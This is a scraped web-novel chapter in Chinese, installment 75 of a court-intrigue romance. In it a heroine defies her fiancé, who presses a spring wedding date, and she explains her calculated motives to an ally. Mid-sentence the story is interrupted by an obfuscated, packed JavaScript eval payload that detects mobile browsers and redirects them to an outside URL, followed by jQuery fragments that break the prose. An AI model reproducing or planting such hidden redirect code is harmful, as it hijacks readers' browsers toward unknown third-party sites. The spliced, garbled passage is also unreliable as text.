默认冷灰
24号文字
方正启体

75. 婚期

作者:黑吠本书字数:K更新时间:
    征南军围困奉京两月,一朝撤离,留下的烂摊子不可计数。


    大风狂催,乐绮眠拍掉衣间雪沫,正要扶起被掀倒的士兵,狻猊甲的寒光掠过,一柄长剑便抵到了喉间。


    “乐小姐可知,”徐泰高坐马上,冷言发问,“你放走的是何人?”


    傅厌辞为了尽快带走乐绮眠,只带小股兵马追击,徐泰三万大军就在后方,只差一点,他便能生擒敌首,立下大功。


    可乐绮眠毁了一切。


    “是何人,都不重要了,”乐绮眠扶起那名士兵,平淡回答,“北苍撤军,徐经略功勋卓著,论功行赏时,没人能与徐经略相提并论。”


    徐泰听出话中讥讽,脸色更沉,正要再问,一人拦下他:“乐小姐与敌首周旋月余,没有功劳,也有苦劳。今日肃王逃脱,也是澜疏忽大意,徐经略若要追究,澜也难辞其咎。”


    魏安澜从雪中走来,停在她与徐泰之间。徐泰要下手,便绕不开他。


    徐泰道:“二公子心地仁善,维护乐小姐无可厚非,可她数次辜负公子,今日更到了刺伤公子的地步,二公子还要维护?”


    陆冕本在士兵中,见乐绮眠受困,也赶上前:“此言差矣,二公子两度置乐小姐于险境,若非小姐机敏,早已葬身敌手!老夫便要问公子,你为何谋害小姐?”


    乐绮眠没有隐瞒严洵陷害她一事,方才大敌当前,双方不得不合作,现在敌军撤走,昔日矛盾便无法掩饰了。


    徐泰不知严洵一节,不悦道:“什么置乐小姐于险境?陆相空口诬人,何不拿出实据来!”


    经历曹病已一事,陆冕极为信任乐绮眠,见他信口诋毁,不由盛怒。眼见两人要起冲突,魏安澜说:“二位稍安勿躁。”


    两人转视魏安澜,他道:“陆相对澜,恐怕有些误会,澜会与乐小姐商议此事,给小姐一个满意的答复。至于徐经略的疑问,澜也会给您一个交代。”


    众人都看得出,肃王为何掳走乐绮眠,魏安澜身为她未婚夫婿,众目睽睽中被拽下马背,已是奇耻大辱。她又视他若无睹,亲手放走肃王,换做旁人,已火冒三丈。


    此时面对三人,他却进退有度,不卑不亢,乐绮眠也不免佩服他这份沉着,可对他背后用心,也更为警觉。


    徐泰与陆冕离开后,魏安澜上前两步,便要将一件外氅披在乐绮眠肩头。


    “两次将我卖给闻氏,二公子没过够猫戏老鼠的瘾?”乐绮眠挡下他的手,乜斜着他,嘲讽勾唇,“还要继续伪装?”


    魏安澜两手停在半空,自然垂下:“乐小姐可知道,雏鹰要如何学会翱翔?”


    乐绮眠不想与他多言,再三告诫自己,留下是为探明他的目的,才忍了这句废话:“我才疏学浅,请二公子有话直言。”


    魏安澜面如平湖,从容如故:“凡有灵之物,便贪生恶死。雌鹰不将其推下山崖,逼它在挣扎中学会翱翔,它便只能屈居方寸之地,永无进益。”


    乐绮眠从未见过,有人能将歪理邪说讲得如此理直气壮。她说:“那依二公子的意思,你是这用心良苦的雌鹰?”


    她加重了“雌鹰”二字,话中嘲弄不言而喻。


    魏安澜不见恼怒,轻柔道:“澜可以是雌鹰,但乐小姐受肃王引诱,多次贻误战机,也确有其事。澜不介意小姐昔日之过,可成了婚,小姐便不能如此随心所欲、率性而为了。”


    随心所欲?率性而为?若当真见过她肆意妄为的一面,便不会如此形容她勾通敌将。


    乐绮眠说:“你怎知,我是受肃王引诱?”


    魏安澜道:“乐小姐涉世未深,不知人心险恶,自然是肃......”


    “我并非受诱惑,便会心志动摇之人,”乐绮眠凑身,唇边逸出微讽的笑,指尖几乎点在鞭痕之上,“放走他,只因我想这么做,重来一次,我还会这么做。况且,若论对错,也是我引诱在先,又放纵自己,受他蛊惑。”


    她的话如一道惊雷,轰然炸开在两人之间。


    如果不知魏安澜的身份,这段话或许稀松平常,可他是乐绮眠下了婚书的未婚夫婿,这便显得惊世震俗、大逆不道了。


    魏安澜维持着笑容,可眼底的宽和已快速褪去:“乐小姐好奇心重,一时兴起,也是有的。待成了婚,便不会如此。”


    到了这个地步,还在自欺欺人。


    乐绮眠没有与他作口舌之争的打算,扯动缰绳,转身欲走,魏安澜却道:“还有一件事,澜要问小姐。”


    她要说的,都已说过,至于他含糊其辞的,她没有追问的兴趣。乐绮眠好奇,他还能拿出何种说辞,停下脚步,侧过身来。


    “乐小姐流放在外时,不便商议婚期,围城时,澜又不敢贸然许下承诺。但今日,危机解除,”魏安澜好似已忘却她的话,神色分外纵容,“你我的婚期,也该提上日程。”


    乐绮眠不能理解,为何他在听到这番话后,还镇定自若,露出个意外的神情。


    “落花三月,孟春时节,”魏安澜却弯起唇角,眼神极温煦,极柔和,“乐小姐,以为如何?”


    ***


    打扫完战场后,两路勤王军各自安营扎寨,乐斯年带来的兵马不多,很快处理好军务,来到乐绮眠帐中。


    两人一月未见,一点不觉生疏,乐斯年见乐绮眠坐在灯下擦拭一枚扳指,神情抽离,似有所思,便自己找了把椅子,随意坐下。


    乐斯年道:“怎的,见我来了,不打声招呼?”


    乐绮眠听到声响,才抬头,笑道:“来了便自己坐,还要我招呼?”


    乐斯年说:“方才真是险之又险,好在陆相来得及时,你说,你招惹谁不好,为何偏偏招惹肃王?”


    若非岑州军赶到,她可能已被傅厌辞带走,三年前便吃过对方的亏,现在又与他搅到一处,当真一点记性不长。乐斯年不是魏安澜,知道除非她自愿,否则没人能在这么冒犯她后,还完好如初。


    乐绮眠被骂,也不恼怒:“你怎知,是我惹了他,不是他惹了我?”


    乐斯年观察着她,似觉不可置信:“这还用问?”


    乐绮眠:“......”


    乐绮眠说:“你来我帐中,就为说这些?”


    乐斯年将两臂撑在椅背,悠然道:“自然不是,我听说,陆相与徐泰因你大吵一架,不必担心,太子已出面调和,徐泰不敢拿你如何,再不济,还有我在。”


    他见乐绮眠没应声,又问:“说到这个,方才遇见陆相,说魏安澜找了你,如何,他没有为难你?”


    提到这个,乐绮眠黑幽幽的瞳仁安静望向他。


    乐斯年道:“你......怎的不说话?”


    她与肃王的流言四传,他本想着,这是她与魏安澜的事,他不好插手。但她反应如此,对方莫非说了什么,叫她难堪?


    乐绮眠却摇头:“你想岔了,魏安澜寻我是为商议婚期。”


    乐斯年一愣:“原来是找你谈婚期


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739043|167077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,也好,耽误几......等等,他与你定了婚期?!”


    他反应过来,颇为意外。


    乐绮眠思及二人分开一月有余,许多事他尚不知情,便交代了严洵设陷一事。


    果不其然,乐斯年不能理解地打断:“若我没听错,魏安澜两次置你于死地,你也知他来意不善,那为何,还与他定下婚期?”


    这样的事,放在任何人身上都匪夷所思,何况乐绮眠并非逆来顺受、委曲求全之人。


    乐绮眠的反应却分外平静,淡笑道:“那自然是因为,有利可图。”


    曹病已下狱后,魏衍独得圣宠,此次击退征南军,魏安澜又功不可没。日后这朝堂,太师府一家独大,此时与魏家结亲,没有坏处。


    但乐斯年了解她,能让她忍下杀身之仇,除了看中魏安澜的身份,必定另有原因。


    “你我都知道,白马河之战后,没能查清那批鬼鹫士兵的由来,一直是侯爷的心病。而围城之危解除,徐泰会重返岑州剿匪,错过这次,更没有机会查明实情,”乐绮眠直接地说,“更何况,你我临时被启用,如今没了用武之地,何去何从,也该认真考虑。”


    乐斯年反应敏捷,一点就透:“你的意思是,想随徐泰北上剿匪?”


    在台狱与曹病已对峙时,乐绮眠便动了这个念头。


    若曹病已没有撒谎,镜鸾之变后,有一人以她的名义屡屡犯案,甚至武安侯的死,也有此人手笔。对方能用羲和毒杀功臣,背后势力,与日月教脱不了干系,而日月教,恰恰泛滥于西北边境。


    同时,参与剿匪立下战功,也能为日后重返西北军奠定基石。魏家与徐泰关系紧密,要搭上这条线,魏安澜是条捷径。


    因这三重目的,她没有拒绝魏安澜。


    “是该如此,”乐斯年在回京路上,考虑过这件事,他点了头,又想起一事,“但白马河一案,魏家牵涉其中,怎么会放下戒备,容许你接近徐泰?”


    这个问题,答案更简单,乐绮眠说:“严洵两度在我对抗征南军时作梗,这件事,只要上禀太子,魏安澜难逃罪责。他不想鱼死网破,便不会拒绝我的请求。”


    其实,乐绮眠还有一层目的。


    其实直到今日,她也不知,她被送往妙应寺后,江别鹤到底发生了何事。


    三年前,郡王说海琅王麾下有一名下落不明的功臣,江家的覆灭,若由此人一手推动,对方为何在功成名就后,消隐于世间?


    这些问题,都必须前往西北,才有答案。


    “说起来,那些匪兵也不好对付,”乐斯年见她胸有成竹,也提醒道,“各大匪寨原是盘散沙,偏被个日月教徒不动干戈用教义收编,那人极为狡诈,徐泰屡次围剿未果,若你我出兵,突破口怕在此人身上。”


    日月教教徒?


    乐绮眠眉间微皱,随即问:“对方是何人?”


    乐斯年道:“你竟不知此人?”


    他似乎很意外,屈指叩在案上,缓声问:“匪兵称他白衣圣师,他不涉俗务,专事传教,七年前云游整载未归,归来后信众反倒倍增。这等蛊惑人心的本事,你当真从未听说?”


    乐绮眠并未听过,可“云游整载”一词,唤起她一段记忆。


    不知该说巧合,还是传闻有误,因为恰好有一人,从来到她身边,到死在她手下,不多不少,恰好一载。


    “你说的那人,”乐绮眠按下心头猜测,径直看向他,“可有留下画像?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)